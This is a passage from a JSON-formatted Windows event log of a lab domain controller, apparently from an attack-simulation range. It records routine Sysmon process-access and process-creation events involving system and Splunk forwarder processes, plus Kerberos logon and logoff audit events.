C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6153,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6154,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:41.901\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41F1-5F2D-0000-0010750B0900}\r\nTargetProcessId: 3904\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:41.901","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41F1-5F2D-0000-0010750B0900}","TargetProcessId":"3904","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222241,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x91240\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x91240","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:59:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222242,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x91240\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51497\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x91240","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51497","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:59:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222243,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x91240\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x91240","LogonType":"3","EventReceivedTime":"2020-08-07 11:59:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6155,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:36.557\r\nProcessGuid: {90617006-4228-5F2D-0000-00107C170900}\r\nProcessId: 4236\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:59:36.557","ProcessGuid":"{90617006-4228-5F2D-0000-00107C170900}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6156,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:36.557\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4228-5F2D-0000-00107C170900}\r\nTargetProcessId: 4236\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:36.557","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4228-5F2D-0000-00107C170900}","TargetProcessId":"4236","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6157,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:36.557\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4228-5F2D-0000-00107C170900}\r\nTargetProcessId: 4236\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:36.557","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4228-5F2D-0000-00107C170900}","TargetProcessId":"4236","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6158,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6159,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: 